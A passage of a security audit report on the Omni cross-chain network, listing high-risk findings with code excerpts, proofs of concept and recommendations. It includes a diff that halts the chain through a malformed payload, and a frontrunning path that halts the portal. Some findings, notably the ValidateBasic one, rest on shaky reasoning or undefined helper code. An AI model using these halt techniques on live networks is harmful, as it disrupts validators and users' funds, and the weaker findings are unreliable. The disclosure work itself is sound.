> Thus, `VerifyVoteExtension` should be implemented with special care. As a general rule, an Application that detects an invalid vote extension SHOULD accept it in VerifyVoteExtensionResponse and ignore it in its own logic.

Moreover, more details are given on this process:

> Moreover, application implementers SHOULD always set VerifyVoteExtensionResponse.status to ACCEPT, unless they really know what the potential liveness implications of returning REJECT are.

However, the `VerifyVoteExtension` logic does not show the behavior described in the documentation. This process will reject a commit message that has any vote with incorrect signature for example. It should instead

- Impact

Incorrect votes will have high liveness impact on the Omni chain.

- Recommendation

According to the documentation, the `ACCEPT` status should be the norm. Non valid payloads should be accepted but they should not have impact on the application state.

Invalid votes must be ignored and not rejected.

3.2.12 Validators will fail to vote on cross-chain blocks due to wrong starting attest offset

Severity: High Risk

Context: voter.go#L215, voter.go#L248, voter.go#L304

- Summary When the halo Voter starts streaming and attesting to blocks of a given chain, it keeps a `tracker` of the current attestation offset for the given chain. However, there's a discrepancy between the way the first pending attestation's offset for a block of a monitored chain is set and what the Omni Cosmos application expects the attestation offset to be when it's saving and streaming these attestations.
- Description When the application starts up, it spins up a worker with an infinite loop in a goroutine for each stream that the network configuration defines. A stream is a struct that's constructed of 3 things: a source chain (from where blocks are read), a destination chain to where transactions destined to from the source chain are relayed to by the worker and a shard ID (a combination of `ConfLevel` and a flag).

```
type StreamID struct {
    SourceChainID uint64  // Source chain ID as per https://chainlist.org/
    DestChainID   uint64  // Destination chain ID as per https://chainlist.org/
    ShardID       ShardID // ShardID identifies a sequence of xmsgs (and maps to ConfLevel).
}
```


The worker for each stream defines an individual `tracker` for the offsets of the attestations it commits about blocks from the given chain when voting for proposals in the the Omni consensus chain. A tracker is created using the *halo/attest/voter/tracker.go* `newOffsetTracker()`'s helper method which accepts a parameter `nextAttestOffset` which will be initially returned when a tracker's asked what's the `NextAttestOffset()` for the first time – when a worker streams its block for a newly added chain to the Omni network, for example.

When a worker starts streaming blocks from a new chain there'll be no recorded attestations for that chain neither on disk, nor in the node's database. As a result, when the worker is spinning up initially, it'll initialize a `tracker` that starts from `nextAttestOffset` 0 (proof down below in the PoC).

We must first observe what `getFromHeightAndOffset()` returns when we call it for a chain we have no stored attestations for:

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/voter/voter.go?text=voter.go#L285-L305

```
func (v *Voter) getFromHeightAndOffset(ctx context.Context, chainVer xchain.ChainVersion) (fromBlockHeight
↪  uint64, fromAttestOffset uint64, err error) {
    fromAttestOffset = initialAttestOffset // Default to initial offset.
    // Note that initialisation of fromBlockHeight is handled in xprovider.

    // Get latest state from disk.
    if latest, ok := v.latestByChain(chainVer); ok {
        fromBlockHeight = latest.BlockHeader.BlockHeight + 1
        fromAttestOffset = latest.AttestHeader.AttestOffset + 1
    }

    // Get latest approved attestation from the chain.
    if latest, ok, err := v.deps.LatestAttestation(ctx, chainVer); err != nil {
        return 0, 0, errors.Wrap(err, "latest attestation")
    } else if ok && fromBlockHeight < latest.BlockHeight+1 {
        // Allows skipping ahead of we were behind for some reason.
        fromBlockHeight = latest.BlockHeight + 1
        fromAttestOffset = latest.AttestHeader.AttestOffset + 1
    }

   // in other words: return 0, 0, nil
   return fromBlockHeight, fromAttestOffset, nil
}
```

Now that we know that we get zeros, we can proceed with seeing how the vote is constructed and processed:

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/voter/voter.go?text=voter.go#L178-L272

```
// runOnce blocks, streaming xblocks from the provided chain until an error is encountered.
// It always returns a non-nil error.
func (v *Voter) runOnce(ctx context.Context, chainVer xchain.ChainVersion) error {
    // ...

   fromBlockHeight, fromAttestOffset, err := v.getFromHeightAndOffset(ctx, finalVer)
    if err != nil {
        return errors.Wrap(err, "get from height and offset")
    }

    // ...

   tracker := newOffsetTracker(fromAttestOffset)
    streamOffsets := make(map[xchain.StreamID]uint64)
    var prevBlock *xchain.Block

    return v.provider.StreamBlocks(ctx, req,
        func(ctx context.Context, block xchain.Block) error {
        // ...

       attestOffset, err := tracker.NextAttestOffset(block.BlockHeight)
            if err != nil {
                return errors.Wrap(err, "next attestation offset")
            }

            // Create a vote for the block.
            attHeader := xchain.AttestHeader{
                ConsensusChainID: v.cChainID,
                ChainVersion:     chainVer,
               AttestOffset:     attestOffset,
            }

            // ...

           if err := v.Vote(attHeader, block, first); err != nil {
                return errors.Wrap(err, "vote")
            }

            // ...
}
```

Now further down the line when the validator proceeds to `Vote()` for the streamed block it'll call `CreateVote()` and later `Verify()` on the produced `vote`.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/voter/voter.go?text=voter.go#L308-L320

```
func (v *Voter) Vote(attHeader xchain.AttestHeader, block xchain.Block, allowSkip bool) error {
    v.mu.Lock()
    defer v.mu.Unlock()
    if v.errAborted != nil {
        return v.errAborted
    }

   vote, err := CreateVote(v.privKey, attHeader, block)
    if err != nil {
        return err
   } else if err := vote.Verify(); err != nil {
        return errors.Wrap(err, "verify vote")
    }

    // ...
}
```

It'll return a `"verify vote"` error as `Verify()` checks that the attestation header of the vote does **NOT** have an offset of 0 and that's exactly what attest offset the tracker gave us when we were constructing the `attHeader` for the vote.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/types/tx.go?text=attest%2Ftypes%2Ftx.go#L36-L51

```
func (v *Vote) Verify() error {
    // ...

   if err := v.AttestHeader.Verify(); err != nil {
        return errors.Wrap(err, "verify attestation header")
    }
```

Which finally will show us where validation fails: https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/types/tx.go?text=attest%2Ftypes%2Ftx.go#L81-L100


```
func (h *AttestHeader) Verify() error {
    // ...

   if h.AttestOffset == 0 {
        return errors.New("zero attestation offset")
    }
```

- Impact Validators will effectively not be able to attest for new incoming blocks from new chains it has added to its network. As a result bridging of messages from and to these new chains will be completely blocked as the application is not executing messages that have not been attested to.
- Proof of Concept Knowing that Voter's `getFromHeightAndOffset()` method returns `0, 0, nil` for chains the validator hasn't any attestations in store (either on disk or in the DB) yet, let's see what happens when we initialize a tracker with `nextAttestOffset` = 0 and call `NextAttestOffset()`.

Run the following PoC in https://go.dev/play/ to see the output.

```
package main

import (
    "fmt"

    "github.com/omni-network/omni/lib/errors"
)

// offsetTracker tracks and assigns the AttestOffset.
type offsetTracker struct {
    nextAttestOffset uint64
    prevBlockHeight  uint64
}

// newOffsetTracker returns a new offset tracker, setting the next state to the provided values.
func newOffsetTracker(nextAttestOffset uint64) *offsetTracker {
    return &offsetTracker{
        nextAttestOffset: nextAttestOffset,
        // prevBlockHeight: 0,
```

```
    }
}

// NextAttestOffset returns the next attestation offset ensuring the block height is increasing.
func (c *offsetTracker) NextAttestOffset(blockHeight uint64) (uint64, error) {
    if c.prevBlockHeight != 0 && c.prevBlockHeight >= blockHeight {
        return 0, errors.New("unexpected block height for attest offset [BUG]", "prev", c.prevBlockHeight,
↪  "new", blockHeight)
    }

    resp := c.nextAttestOffset
    c.nextAttestOffset++
    c.prevBlockHeight = blockHeight

    return resp, nil
}

func main() {
    tracker := newOffsetTracker(0)
    attestOffset, _ := tracker.NextAttestOffset(21101072 /* block.BlockHeight */)
    fmt.Println("Our first attestation for a given chain will have an attest offset of: ", attestOffset)
}
```

Outputs:

```
Our first attestation for a given chain will have an attest offset of:  0

Program exited.
```

- Recommendation Simply make `getFromHeightAndOffset()` return `0, 1, nil` where `1` is the next offset to be used for attestations to blocks for the new chain's blocks by the Voter.

3.2.13 Malicious proposer can halt the chain through payload that causes JSON RPC error

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description

A malicious proposer can halt the chain by using a malformed ExecutionPayload that will cause Engine API to consistently return an error. Thereby causing the nodes to hang in `retryForever`. The fundamental problem is that the node cannot distinguish between network errors and JSON RPC errors returned by the API when for example a malformed payload is provided.

In the `ProcessProposal`, the node does `retryForever` if an `err` is returned by `pushPayload`

https://github.com/omni-network/omni/blob/d2a0f7fc143a69bb17bd696ec1598392ad103c95/octane/evmengine/keeper/proposal_server.go#L26-L44

```
    err = retryForever(ctx, func(ctx context.Context) (bool, error) {
        status, err := pushPayload(ctx, s.engineCl, payload)
        if err != nil || isUnknown(status) {
            // We need to retry forever on networking errors, but can't easily identify them, so retry all
↪   errors.
            log.Warn(ctx, "Verifying proposal failed: push new payload to evm (will retry)", err,
                "status", status.Status)

            return false, nil // Retry
        } else if invalid, err := isInvalid(status); invalid {
            return false, errors.Wrap(err, "invalid payload, rejecting proposal") // Abort, don't retry
        } else if isSyncing(status) {
            // If this is initial sync, we need to continue and set a target head to sync to, so don't retry.
            log.Warn(ctx, "Can't properly verifying proposal: evm syncing", err,
                "payload_height", payload.Number)
        }

        return true, nil // Done
    })
```

```
func pushPayload(ctx context.Context, engineCl ethclient.EngineClient, payload engine.ExecutableData)
↪  (engine.PayloadStatusV1, error) {
    sdkCtx := sdk.UnwrapSDKContext(ctx)
    appHash, err := cast.EthHash(sdkCtx.BlockHeader().AppHash)
    if err != nil {
        return engine.PayloadStatusV1{}, err
    } else if appHash == (common.Hash{}) {
        return engine.PayloadStatusV1{}, errors.New("app hash is empty")
    }

    emptyVersionHashes := make([]common.Hash, 0) // Cannot use nil.

    // Push it back to the execution client (mark it as possible new head).
    status, err := engineCl.NewPayloadV3(ctx, payload, emptyVersionHashes, &appHash)
    if err != nil {
        return engine.PayloadStatusV1{}, errors.Wrap(err, "new payload")
    }

    return status, nil
}
```

It is meant to catch network errors, but instead catches all possible errors. For example, if a payload causes the Engine API to return the error that is included. We can see why:

Under the hood, NewPayloadV3 makes a JSON-RPC call to the execution client using `CallContext`

https://github.com/omni-network/omni/blob/d2a0f7fc143a69bb17bd696ec1598392ad103c95/lib/ethclient/engineclient.go#L94-L108

```
func (c engineClient) NewPayloadV3(ctx context.Context, params engine.ExecutableData, versionedHashes
↪  []common.Hash,
    beaconRoot *common.Hash,
) (engine.PayloadStatusV1, error) {
    const endpoint = "new_payload_v3"
    defer latency(c.chain, endpoint)()

    var resp engine.PayloadStatusV1
    err := c.cl.Client().CallContext(ctx, &resp, newPayloadV3, params, versionedHashes, beaconRoot)
    if err != nil {
        incError(c.chain, endpoint)
        return engine.PayloadStatusV1{}, errors.Wrap(err, "rpc new payload v3")
    }

    return resp, nil
}
```


When `CallContext` is executed, if the JSON RPC returns an error (note this is different from an invalid payload status), then, an error is also returned in `NewPayloadV3`. This is easily possible by omitting `ExcessBlobGas`, `BlobGasUsed` fields which will cause Engine API to return an error (this isn't checked in `parseAndVerifyProposedPayload`)

https://github.com/ethereum/go-ethereum/blob/a1093d98eb3260f2abf340903c2d968b2b891c11/eth/catalyst/api.go#L767-L789

```
func (api *ConsensusAPI) ExecuteStatelessPayloadV3(params engine.ExecutableData, versionedHashes
↪  []common.Hash, beaconRoot *common.Hash, opaqueWitness hexutil.Bytes) (engine.StatelessPayloadStatusV1,
↪  error) {
    if params.Withdrawals == nil {
        return engine.StatelessPayloadStatusV1{Status: engine.INVALID},
↪  engine.InvalidParams.With(errors.New("nil withdrawals post-shanghai"))
    }
    if params.ExcessBlobGas == nil {
        return engine.StatelessPayloadStatusV1{Status: engine.INVALID},
↪  engine.InvalidParams.With(errors.New("nil excessBlobGas post-cancun"))
    }
    if params.BlobGasUsed == nil {
        return engine.StatelessPayloadStatusV1{Status: engine.INVALID},
↪  engine.InvalidParams.With(errors.New("nil blobGasUsed post-cancun"))
    }

    if versionedHashes == nil {
        return engine.StatelessPayloadStatusV1{Status: engine.INVALID},
↪  engine.InvalidParams.With(errors.New("nil versionedHashes post-cancun"))
    }
    if beaconRoot == nil {
        return engine.StatelessPayloadStatusV1{Status: engine.INVALID},
↪  engine.InvalidParams.With(errors.New("nil beaconRoot post-cancun"))
    }

    if api.eth.BlockChain().Config().LatestFork(params.Timestamp) != forks.Cancun {
        return engine.StatelessPayloadStatusV1{Status: engine.INVALID},
↪  engine.UnsupportedFork.With(errors.New("executeStatelessPayloadV3 must only be called for cancun
↪  payloads"))
    }
    return api.executeStatelessPayload(params, versionedHashes, beaconRoot, nil, opaqueWitness)
}
```

Since the validator node will continuously execute `retryForever` when an `err` is returned the node will never finish executing `ProcessProposal`, leading to the chain to halt.

- Proof-Of-Concept:

We shall modify the validator node to create this proof of concept. First add, the following diff into the code.

```
diff --git a/octane/evmengine/keeper/abci.go b/octane/evmengine/keeper/abci.go
index 0948bcd..07eb7bb 100644
--- a/octane/evmengine/keeper/abci.go
+++ b/octane/evmengine/keeper/abci.go
@@ -112,6 +112,11 @@ func (k *Keeper) PrepareProposal(ctx sdk.Context, req *abci.RequestPreparePropos
                return nil, err
        }

+        if req.Height == 50 {
+                // Togethaaa, we halt the chain!
+                payloadResp.ExecutionPayload.BlobGasUsed = nil
+        }
+
```

Then build the validator nodes:

```
make build-docker
make devnet-deploy
```

At height = 50, the validator will get stuck retrying the payload forever, with the following error:

```
24-11-03 20:41:09.062 WARN Verifying proposal failed: push new payload to evm (will retry) status="" err="new
↪  payload: rpc new payload v3: Invalid parameters" stacktrace="[errors.go:39 engineclient.go:104
↪  msg_server.go:175 proposal_server.go:28 helpers.go:30 proposal_server.go:27 tx.pb.go:340
↪  msg_service_router.go:175 tx.pb.go:342 msg_service_router.go:198 prouter.go:78 abci.go:520 cmt_abci.go:40
↪  abci.go:85 local_client.go:164 app_conn.go:89 execution.go:166 state.go:1381 state.go:1338 state.go:2055
↪  state.go:910 state.go:836 asm_amd64.s:1700]"
```

- Recommendation

Implement more granular error handling to distinguish between network errors and JSON RPC errors.

3.2.14 Attacker can halt the portal

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description

An attacker can frontrun relayer's xsubmit to halt the portal and cause loss of user's assets.

This attack is derived from three facts:

1. A `Xmsg` can only be executed once. This is enforced at `OmniPortal::_exec`:

```
    function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
        uint64 sourceChainId = xheader.sourceChainId;
        uint64 destChainId = xmsg_.destChainId;
        uint64 shardId = xmsg_.shardId;
        uint64 offset = xmsg_.offset; //@Audit Source Portal's offset

        require(destChainId == chainId() || destChainId == BroadcastChainId, "OmniPortal: wrong dest chain");
        require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");

        ...

        inXMsgOffset[sourceChainId][shardId] += 1;

        ...
    }
```

Once an `Xmsg` is executed, its corresponding `inXMsgOffset` is passed through, ensuring that all further batch containing that `Xmsg` cannot be executed.

2. The leftmost leaf of the nested Xmsg merkle tree must be passed to `XBlockMerkleProof.verify`.

```
    function verify(
        bytes32 root,
        XTypes.BlockHeader calldata blockHeader,
        XTypes.Msg[] calldata msgs,
        bytes32[] calldata msgProof,
        bool[] calldata msgProofFlags
    ) internal pure returns (bool) {
        bytes32[] memory rootProof = new bytes32[](1);
        rootProof[0] = MerkleProof.processMultiProofCalldata(msgProof, msgProofFlags, _msgLeaves(msgs));
        return MerkleProof.verify(rootProof, root, _blockHeaderLeaf(blockHeader));
    }
```


https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/MerkleProof.sol#L377

```
    function processMultiProofCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt
↪   by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto
↪   the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the
↪   root of
        // the Merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 proofFlagsLen = proofFlags.length;

        // Check proof validity.
        if (leavesLen + proof.length != proofFlagsLen + 1) {
            revert MerkleProofInvalidMultiproof();
        }

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done
↪   using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's
↪   "pop".
        bytes32[] memory hashes = new bytes32[](proofFlagsLen);
        uint256 leafPos = 0;
```

```
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf,
↪  otherwise we
        //   get the next hash.
        // - depending on the flag, either another value from the "main queue" (merging branches) or an
↪  element from the
        //   `proof` array.
        for (uint256 i = 0; i < proofFlagsLen; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i]
                ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
                : proof[proofPos++];
            hashes[i] = Hashes.commutativeKeccak256(a, b);
        }

        if (proofFlagsLen > 0) {
            if (proofPos != proof.length) {
                revert MerkleProofInvalidMultiproof();
            }
            unchecked {
                return hashes[proofFlagsLen - 1];
            }
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }
```

The OZ `processMultiProofCalldata` implementation returns the root of a tree reconstructed from leaves and sibling nodes in proof. In short words, this logic is implemented through a loop, which generate a `hashes` queue:

`hashes[i] = Hash(a, b)`.

If not all leaves have been consumed, `a = next leaf`, otherwise `a = next hash`.

If `flag == 0`, `b = next proof`.

If `flag == 1` and not all leaves have been consumed, `b = next leaf`.

If `flag == 1` and all leaves have been consumed, `b = next hash`.

If we split the whole Xmsg tree into many binary sub-trees, a sufficiently necessary condition for these trees to be recoverable by `processMultiProofCalldata` is that the leftmost leaf is passed in as `leaves[]`, not `proof[]`. So in order to prove a Xmsg subtree, the first xmsg in the Xblock must get included.

3. The Xmsgs group that is executed in a relayer transaction is exactly the same as the leaves which used in `processMultiProofCalldata`.

This is enforced at `XBlockMerkleProof::_msgLeaves`:

```
    function _msgLeaves(XTypes.Msg[] calldata msgs) private pure returns (bytes32[] memory) {
        bytes32[] memory leaves = new bytes32[](msgs.length);

        for (uint256 i = 0; i < msgs.length; i++) {
            leaves[i] = _leafHash(DST_XMSG, abi.encode(msgs[i]));
        }

        return leaves;
    }
```

With above fact, we can derive the attack path:

1. Attacker monitor the consensus chain, wait for a new Xblock attest finialize;
2. Attacker frontrun relayers' tx, `xsubmit` current Xblock and only execute the leftmost xmsg(all other xmsgs serves as proof)
3. When relayer's tx get executed, it will fail because the first `inXMsgOffset` does not meet xmsg.offset.

4. All further execute request will fail, because portal cannot handle MultiProof tries which leftmost leaf can only be served as proof.

- Recommendation

I suggest add a extra Xmsg flag in `Submission`, allowing relayers to pass in the whole xchain block tree leaves and only execute some of them.

3.2.15 Missing Height Validation in Upgrade Planning Mechanism

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The `planUpgrade` function in the Upgrade contract lacks validation checks for the upgrade height parameter, allowing upgrades to be scheduled at invalid block heights or in the past.

- Finding Description

The `planUpgrade` function accepts a height parameter without any validation about whether:

The height is in the future (greater than current block number)

The height provides sufficient time for validators to prepare

The height is within a reasonable future timeframe

The height isn't zero or an invalid value

The relevant code snippet:

```
struct Plan {
    string name;
    uint64 height;
    string info;
}

function planUpgrade(Plan calldata plan) external onlyOwner {
    emit PlanUpgrade(plan.name, plan.height, plan.info);
}
```


- Impact Explanation

The lack of height validation can lead to several critical issues:

Upgrades could be scheduled for past blocks, causing immediate and unexpected upgrades

Validators may not have sufficient time to prepare for an upgrade if the height is too close to the current block

Upgrades scheduled too far in the future could lock the system into an inflexible upgrade path

- Likelihood Explanation

The likelihood is high because:

The function is only protected by onlyOwner modifier but lacks basic parameter validation

There are no safeguards against input errors

A simple mistake in height specification could have severe consequences

- Proof of Concept (if required)
- Recommendation (optional)

Implement comprehensive height validation:

```
function planUpgrade(Plan calldata plan) external onlyOwner {
    // Ensure height is in the future
    require(plan.height > block.number, "Height must be in future");

    // Ensure minimum preparation time for validators (e.g., 24 hours worth of blocks)
    require(plan.height >= block.number + 7200, "Insufficient preparation time");

    // Ensure height isn't too far in the future (e.g., max 30 days)
    require(plan.height <= block.number + 432000, "Height too far in future");

    emit PlanUpgrade(plan.name, plan.height, plan.info);
}
```

3.2.16 Incompatible Block Height Conversion Between EVM and Consensus Chains

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The code directly converts block heights from EVM to Consensus chain without accounting for potential differences in block time and height calculations between the two chains, which could lead to incorrect upgrade timing or failed upgrades.

- Finding Description

In the `deliverPlanUpgrade` function, the EVM block height is directly converted to a Consensus chain block height without any adjustment:

```
heightInt64, err := umath.ToInt64(plan.Height)
if err != nil {
    return err
}

msg := utypes.MsgSoftwareUpgrade{
    Authority: authtypes.NewModuleAddress(ModuleName).String(),
    Plan: utypes.Plan{
        Name:   plan.Name,
        Height: heightInt64,  // Direct conversion without adjustment
        Info:   plan.Info,
    },
}
```

This is problematic because:

EVM and Consensus chains may have different block times (e.g., EVM ~12s vs Consensus chains which could be ~5-6s)

The chains may have started at different times, leading to different absolute block heights

- Impact Explanation

This vulnerability could lead to several severe issues:

Upgrades being scheduled too early or too late relative to the intended time

Upgrades being scheduled at impossible block heights

- Likelihood Explanation

The likelihood is high because:

Different chains naturally have different block production rates

The issue will occur any time an upgrade is planned

There are no safeguards or checks in place to prevent this

The conversion is hardcoded into the core upgrade logic

- Proof of Concept (if required)
- Recommendation (optional)

Implement a height conversion function that accounts for block time differences:

```
func convertEVMHeightToConsensusHeight(evmHeight uint64) (int64, error) {
    // Get current heights of both chains
    evmCurrentHeight := getCurrentEVMHeight()
    consensusCurrentHeight := getCurrentConsensusHeight()

    // Get block times
    evmBlockTime := getEVMBlockTime()
    consensusBlockTime := getConsensusBlockTime()

    // Calculate relative height difference
    heightDiff := evmHeight - evmCurrentHeight

    // Convert based on block time ratio
    consensusHeightDiff := (heightDiff * evmBlockTime) / consensusBlockTime

    return consensusCurrentHeight + consensusHeightDiff, nil
}
```

3.2.17 Unauthorized Unjailing of Validators Due to Missing Authorization Check

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The `unjail()` function in the Slashing contract lacks proper authorization checks to verify if the caller is actually a jailed validator.

This allows any address to emit Unjail events for themselves, potentially interfering with the consensus chain's slashing module operations.

- Finding Description

The Slashing contract acts as an interface between the EVM and the consensus chain's x/slashing module.

The `unjail()` function is designed to allow jailed validators to unjail themselves by paying a fee.

However, the function only verifies the fee payment through `_burnFee()` and does not validate whether:

The caller is actually a validator

The validator is currently in a jailed state

The caller has the authority to unjail the validator

```
function unjail() external payable {
    _burnFee();
    emit Unjail(msg.sender);
}
```

- Impact Explanation

The lack of proper authorization checks can lead to:

Spam of invalid Unjail events on the EVM chain

Unnecessary processing on the consensus chain for invalid unjail requests

Potential consensus issues if the consensus chain doesn't properly validate the unjail requests

- Likelihood Explanation

The likelihood is rated as High because:

The vulnerability is easily exploitable by any address

Only requires the payment of 0.1 ETH fee

No technical barriers or complex prerequisites to exploit

Can be executed repeatedly by anyone with sufficient funds

- Recommendation (optional)

Add checks to verify that the caller is actually a validator in the jailed state.

3.2.18 Use of deprecated function `ValidateBasic` performing only stateless checks

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary A vulnerability exists in the validator state validation process due to the use of the deprecated `ValidateBasic()` function in the `comet.go` module, impacting validator synchronization within the LazyLoader implementation. Although `comet.go` is technically out of scope, its direct integration with in-scope voter functionality makes this a valid finding.

The `ValidateBasic` function is deprecated as it only performs stateless checks, which can miss certain critical validations. As the Cosmos docs warns:

> "The ValidateBasic method on messages has been deprecated in favor of validating messages directly in their respective Msg services."

Despite this, `ValidateBasic` is still employed in `comet.go`, and since `CometAPI` directly supports LazyLoader, this could allow incorrect validator sets to be accepted during the loading process.

- Finding Description

The issue stems from improper state validation in the CometBFT validator set validation process:

```
// In comet.go - Source of the issue
func (a adapter) Validators(ctx context.Context, height int64) (*cmttypes.ValidatorSet, bool, error) {
    // ... state modifications happen first
    valset := new(cmttypes.ValidatorSet)
    if err := valset.UpdateWithChangeSet(vals); err != nil {
        return nil, false, errors.Wrap(err, "update with change set")
    }

    if len(vals) > 0 {
        valset.IncrementProposerPriority(1)
    }

    // ValidateBasic called after state changes
    if err := valset.ValidateBasic(); err != nil { //  @audit deprecated function used
        return nil, false, errors.Wrap(err, "validate basic")
    }

    return valset, true, nil
}
```

This validation issue propagates through the dependency chain:

```
// In start.go - Creates and injects the vulnerable API
cmtAPI := comet.NewAPI(rpcClient)
app.SetCometAPI(cmtAPI)

// In voterloader.go - Consumes the vulnerable API
type voteDeps struct {
    comet.API            // Embeds the vulnerable Validators function
    cchain.Provider
}

// Usage in LazyLoad where validation issues can manifest
func (l *voterLoader) LazyLoad(
    ctx context.Context,
    // ... other params ...
    cmtAPI comet.API,
    asyncAbort chan<- error,
) error {
    deps := voteDeps{
        API:      cmtAPI,  // Vulnerable API injected here
        Provider: cprov,
    }
    // ... validator setup continues
}
```

The issue lies in the fact that `ValidateBasic()` is deprecated and is:

1. Called after state modifications
2. Only performs stateless checks
3. Cannot validate the modified state properly
4. Directly impacts validator set synchronization

- Impact **Critical**

The impact is critical bcz:

1. It affects validator set synchronization accuracy
2. Could lead to incorrect validator states being accepted
3. Might cause consensus issues in the network
4. Could potentially affect network security through improper validator verification

- Likelihood Explanation **Medium**

While the code path is frequently executed, triggering harmful effects requires:

1. Specific state modifications that pass stateless checks
2. Invalid state changes that aren't caught by `ValidateBasic()`
3. The conditions to align during validator synchronization

- Proof of Concept

Let's do some pseudo code as PoC, kindly do read the comment with the code for better understanding

```
// let's show the validation bypass
func demonstrateValidationBypass(vals []*cmttypes.Validator) {
    valset := new(cmttypes.ValidatorSet)

    // 1. Make invalid state changes
    valset.UpdateWithChangeSet(vals)  // Modifies state
    valset.IncrementProposerPriority(1)  // Further modifies state

    // 2. ValidateBasic won't catch state-dependent issues bcz of the use of deprecated function
    // Only performs stateless checks after state is already modified
    valset.ValidateBasic()  // Can pass despite invalid state

    // 3. Invalid state propagates to voter system
    // Through voterloader.LazyLoad -> voteDeps -> comet.API
}
```


- Recommendation

Don't use deprecated functions and as instructed in docs.

or properly follow these instructions.

1. Restructure the validation flow:

```
func (a adapter) Validators(ctx context.Context, height int64) (*cmttypes.ValidatorSet, bool, error) {
    valset := new(cmttypes.ValidatorSet)

    // 1. Validate inputs before any state changes
    if err := validateValidatorInputs(vals); err != nil {
        return nil, false, errors.Wrap(err, "invalid validator inputs")
    }

    // 2. Perform state-aware validation
    if err := validateValidatorStateChanges(vals); err != nil {
        return nil, false, errors.Wrap(err, "invalid state changes")
    }

    // 3. Apply changes only after all validations pass
    if err := valset.UpdateWithChangeSet(vals); err != nil {
        return nil, false, errors.Wrap(err, "update with change set")
    }

    if len(vals) > 0 {
        valset.IncrementProposerPriority(1)
    }

    return valset, true, nil
}
```

2. Implement proper state validation:
    - Add state-aware validation checks
    - Validate before state modifications
    - Add rollback mechanism for failed validations
    - Consider implementing a new validation interface that supports state validation

The fix ensures validation occurs before state changes and properly validates both stateless and state-dependent conditions.

3.2.19 Loss of Asset when there are no sufficient OMNI tokens on OmniBridgeL1.sol for a Omni to Ethereum bridging

Severity: High Risk

Context: OmniBridgeNative.sol#L107

- Description

When bridging from Omni chain => Ethereum mainnet. That is `OmniBridgeNative.sol` to `OmniBridgeL1.sol` and there are no sufficient OMNI tokens on the `OmniBridgeL1.sol` the relayer's call to `withdraw(...)` reverts due to insufficient amount of OMNI tokens on the `OmniBridgeL1.sol`.

This causes the bridging transaction to fail causing user to lose asset.

This can happen when the contract is newly deployed and also when the bridging are already in use. When `OmniBridgeNative.sol` is newly deployed it has zero OMNI token on it. If the first bridging transaction is from OMNI to Ethereum, users lose funds.

As the contracts are used also, the OMNI token balance on `OmniBridgeL1.sol` can get depleted till it is not enough for bridging some amount.

It is important to ensure enough assets to be bridged are on destination chain.

- Proof of Concept

The `OmniBridgeL1.sol` does not have any OMNI token to be transferred to the recipient when the contract is deployed. Also while using the contract the OMNI token balance may get lesser and lesser such that a user does a Omni => Ethereum bridging. IF there are no sufficient balance on `OmniBridgeL1.sol` contract, the transaction will fail causing the user to lose asset.

```
File: OmniBridgeL1.sol
 function withdraw(address to, uint256 amount) external whenNotPaused(ACTION_WITHDRAW) {//@audit Ether can not
↪  bridged back.
        XTypes.MsgContext memory xmsg = omni.xmsg();

        require(msg.sender == address(omni), "OmniBridge: not xcall");
        require(xmsg.sender == Predeploys.OmniBridgeNative, "OmniBridge: not bridge");
        require(xmsg.sourceChainId == omni.omniChainId(), "OmniBridge: not omni");

        token.transfer(to, amount);

        emit Withdraw(to, amount);
    }
```

- Impact

Users that bridge from Omni => Ethereum mainnet when the contract are newly deployed will lose their assets.

- Recommendation

Consider ensuring that there are enough assets to be bridged on destination chains before operation of the smart contracts. All bridge smart contracts can also start from pause state until there is enough asset for all possible bridging.

3.2.20 An Excessive xsubValsetCutoff Enables Unauthorized Cross-Chain Message Validation make the contract vulenrbale

Severity: High Risk

Context: OmniPortal.sol#L340-L345

- Description

The contract is sufferer from an insufficient Bounds on xsubValsetCutoff and this is controls the allowable range of validator sets that can validate a cross-chain submission XSubmission, This cutoff is supposed to limit the age of validator sets used for validation, the issue is caused bu an excessive xsubValsetCutoff parameter stored in OmniPortalStorage as :

```
/**
     * @notice Number of validator sets since the latest that can be used to validate an XSubmission
     */
    uint8 public xsubValsetCutoff;
```

This is determines the number of validator sets that can validate an XSubmission. but without an upper limit on xsubValsetCutoff, outdated validator sets can validate cross-chain messages, allowing validators with less than one-third of the voting power to orchestrate unauthorized cross-chain transactions, replay attacks, and data manipulation.

and this value is is used in the internal _minValSet function :

```
 function _minValSet() internal view returns (uint64) {
        return latestValSetId > xsubValsetCutoff
            // plus 1, so the number of accepted valsets == XSubValsetCutoff
            ? (latestValSetId - xsubValsetCutoff + 1)
            : 1;
    }
```

